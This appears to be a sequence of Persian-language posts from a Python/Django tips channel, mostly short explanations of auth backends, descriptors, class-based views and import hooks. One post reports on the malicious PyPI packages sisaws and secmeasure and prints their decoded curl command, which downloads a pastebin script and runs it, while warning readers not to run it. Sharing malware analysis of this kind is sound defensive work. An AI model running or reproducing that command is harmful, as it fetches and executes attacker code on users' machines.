تا حالا به این فکر کردی که توی Django چطور میشه ورود کاربر رو کاملاً شخصی‌سازی کرد؟ 🔐

داخل Django به طور پیش‌فرض سیستم احراز هویت خودش رو داره، اما وقتی بخوای کاربرها رو مثلاً با ایمیل، موبایل یا شرایط خاص سازمانی لاگین بدی، باید یک custom authentication backend بنویسی تا روند ورود دقیقاً مطابق نیازت عمل کنه.

🌌 @the_code_Verse 🪐

تا حالا شده بخواید class_method یا static_method خودتونو بنویسید؟ ⚡️🐍

گاهی وقت‌ها می‌خوایم کنترل بیشتری روی ویژگی‌های کلاس داشته باشیم. با descriptor می‌شه کاری کرد که هر بار مقدار attribute تغییر کنه بررسی بشه؛ اگه مقدار تکراری بود خطا بده و در عین حال cache هر شیء رو به‌طور جداگانه نگه داره تا با بقیه قاطی نشه.

🌌 @the_code_Verse 🪐

می‌دونی توی Django CBVها، get_queryset و get_context_data هر کدوم دقیقاً چه کاری می‌کنن؟ 🤔⚡️

در class-based views دو متد مهم داریم: get_queryset() که داده‌های اصلی رو برای نمایش برمی‌گردونه، و get_context_data() که متغیرها و داده‌های جانبی رو به قالب اضافه می‌کنه. تفاوت این دو در اینه که یکی مسئول تأمین داده‌ی اصلیه و دیگری مسئول ساخت context کامل برای رندر شدن قالب.

🌌 @the_code_Verse 🪐

دوتا کتابخونه sisaws و secmeasure که هکر‌ها داخل PyPi گذاشته بودن. توضیحات بیشتر KALI

یکم گشتم داخل سایت Zscaler Blog توضیح داد که کتابخونه مورد نظر یه کد رو اجرا میکرد

If a developer imports the sisaws package and invokes the gen_token function, the code will decode a hexadecimal string that reveals a curl command, which is then used to fetch an additional Python script, as shown below.

curl -sL https://pastebin.com/raw/jaH2uRE1 -o %TEMP%\\helper.py && python %TEMP%\\helper.py

نکته:‌به هیچ‌وجه کد رو اجرا نکنید، بنده هیچ مسئولیتی قبول نمیکنم.
حالا کدی که این دستور curl دانلود میکرد رو از همین لینک گرفتم.

کدهای دانلود شده داخل pdf زیر به صورت آموزشی توضیح داده میشن.

#python #malware #code_analysis

🌌 @the_code_Verse 🪐

اگه موقع import کردن یه ماژول بتونی قبل از استفاده، ویژگی دلخواهت رو بهش بچسبونی چی؟ 🔥🐍

در پایتون فقط import ساده وجود نداره؛ می‌شه فرآیند import رو شخصی‌سازی کرد. مثلاً قبل از اینکه ماژول آماده استفاده بشه، می‌تونیم یک attribute جدید بهش اضافه کنیم تا بعد از import کردن، همون ویژگی دلخواه از همون اول در دسترس باشه.

🌌 @the_code_Verse 🪐